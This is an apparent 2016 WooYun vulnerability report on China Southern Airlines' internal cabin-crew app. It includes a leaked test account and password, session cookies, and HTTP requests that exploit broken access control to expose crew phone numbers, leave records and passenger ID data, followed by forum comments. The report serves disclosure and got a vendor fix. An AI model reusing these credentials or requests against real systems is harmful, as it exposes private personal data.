中国南方航空股份有限公司某内部APP设计缺陷涉及大量敏感信息

通过https://icrew.csair.com可下载南航内部使用的APP“客舱移动”

获得测试账号：100000，100000*$%

账号来源：

GET /login/DemoUserList.action HTTP/1.1
 Host: icrew.csair.com
 Accept-Encoding: gzip
 User-Agent: 
 Connection: keep-alive
 Cookie: pass=b1VY%2Bdxzdwc%3D; user=OU2U%2F0PD9HI%3D

成功进入系统，然后各种越权：

（1）可查看任意航班的空乘人员（手机号在数据包中是没有打码的）：

GET /mobile/flightScheduled_group.action?groupFlightDate=2016-04-24%2000:30:00.0&groupFlightNo=§5180§&groupDepPort=CAN&empId=182473 HTTP/1.1
 Host: icrew.csair.com
 Referer: https://icrew.csair.com/mobile/flightScheduled_fast.action?empId=182473
 Accept-Encoding: gzip, deflate
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Cookie: JSESSIONID=F955968ADDB987E7C38910DBAC06411A; pass=kY%2BHedsejPRL5OY6EGEgjQ%3D%3D; user=zgrQ%2BnetIDs%3D
 Accept-Language: zh-cn
 Connection: keep-alive
 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12B436

（2）可查看飞机以前的故障：

（3）可查看申请假期的记录

（4）临时数据（sqllite）中还包括了一些人员的身份证号，还包含了几百名乘客的订单信息，身份证号及家庭住址等

同上

不仅仅验证ID，还要再次验证用户名和密码对应的ID是否匹配

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-04-25 08:59

厂商回复：

问题找的非常仔细，感谢！

最新状态：

暂无

1. 2016-04-20 22:17 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | ..)

   0

   你喜欢的空姐，这里都有

   1# 回复此人

2. 2016-04-20 22:22 | Taro ( 普通白帽子 | Rank:349 漏洞数:86 | 走向最远的方向，哪怕前路迷茫；抱着最大的...)

   0

   空姐是啥？能吃么

   2# 回复此人

3. 2016-04-20 22:36 | 小挺 ( 实习白帽子 | Rank:45 漏洞数:15 | 在读大三学生，来找工作！)

   0

   你喜欢的空姐，这里都有

   3# 回复此人

4. 2016-04-20 22:39 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)

   0

   你喜欢的空姐，这里都有

   4# 回复此人

5. 2016-04-21 00:05 | 我是壮丁 ( 实习白帽子 | Rank:42 漏洞数:4 | 专业打酱油)

   0

   你来打卡了啊

   5# 回复此人

6. 2016-04-21 09:15 | Ton7BrEak ( 普通白帽子 | Rank:350 漏洞数:70 | ☁ 我要继续努力！)

   0

   @我是壮丁 发现sky俩漏洞40rank~流弊~

   6# 回复此人

7. 2016-04-21 10:29 | tnt1200 ( 普通白帽子 | Rank:134 漏洞数:18 | 关注飞机安全.... @从容 是我师傅)

   0

   你喜欢的空姐，这里都有

   7# 回复此人

8. 2016-04-21 10:33 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

   0

   网传MH370有2块碎片找到了。

   8# 回复此人

9. 2016-04-21 10:45 | 高小厨 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子！)

   0

   我补充了两张图和一个数据包，方便管理员复测使用，@浩天帮忙审核下

   9# 回复此人

10. 2016-04-21 10:57 | 糖剩七颗 ( 普通白帽子 | Rank:674 漏洞数:90 | 当几个月码农再出来冒泡！)

    0

    @高小厨 还没上核心吗？都蓝v了

    10# 回复此人

11. 2016-04-25 09:28 | 立志成为厨神的男人 ( 路人 | Rank:15 漏洞数:1 | 我饿了)

    0

    你喜欢的空姐，这里都有 验证码：QNMB 我也是醉了

    11# 回复此人

12. 2016-04-25 15:14 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    0

    666

    12# 回复此人